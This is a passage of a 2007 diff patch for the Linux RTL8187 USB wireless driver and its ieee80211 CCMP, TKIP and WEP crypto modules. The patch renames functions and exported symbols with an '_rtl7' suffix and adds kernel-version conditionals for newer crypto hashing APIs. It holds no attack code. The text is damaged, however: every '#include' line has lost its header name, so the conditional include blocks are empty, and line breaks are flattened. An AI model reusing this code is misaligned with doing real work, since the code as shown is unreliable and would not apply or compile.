(dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2536,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2553,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2570,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2583,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2598,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_txpower/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8187.h 2007-04-23 00:08:15.000000000 +0200 @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -148,7 +153,7 @@ u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; + short prism_hdr; // struct timer_list scan_timer; /*short scanpending; diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_txpower/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt.c 2007-04-23 00:09:00.000000000 +0200 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c 2007-04-23 00:09:00.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -59,7 +69,7 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -75,7 +85,7 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -105,7 +115,7 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) @@ -114,7 +124,7 @@ } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +132,7 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +196,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +247,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +255,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +272,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +336,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +347,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,7 +375,7 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; @@ -396,7 +406,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +430,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +447,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_txpower/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt.h 2007-04-23 00:09:03.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c 2007-04-23 00:09:00.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -62,7 +72,7 @@ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -101,7 +111,7 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; if (_priv && _priv->tfm_michael) @@ -200,7 +210,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +232,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +278,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -283,11 +293,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -325,7 +335,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -382,10 +392,10 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; @@ -428,10 +438,14 @@ } -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20) + struct hash_desc desc; +#endif struct scatterlist sg[2]; + int ret=0; if (tkey->tfm_michael == NULL) { printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); @@ -445,15 +459,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); +#else + if (crypto_hash_setkey(tkey->tfm_michael, key, 8)) + return -1; - return 0; + desc.tfm = tkey->tfm_michael; + desc.flags = 0; + ret = crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif + + return ret; } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +506,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,9 +518,9 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; @@ -506,7 +529,7 @@ #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +550,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +566,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +574,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,8 +583,8 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { @@ -572,7 +595,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,7 +611,7 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; @@ -618,7 +641,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +671,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +698,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c 2007-04-23 00:09:00.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -40,7 +50,7 @@ }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -72,7 +82,7 @@ } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; if (_priv && _priv->tfm) @@ -87,7 +97,7 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; @@ -151,7 +161,7 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; @@ -203,7 +213,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +227,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +240,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +249,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, 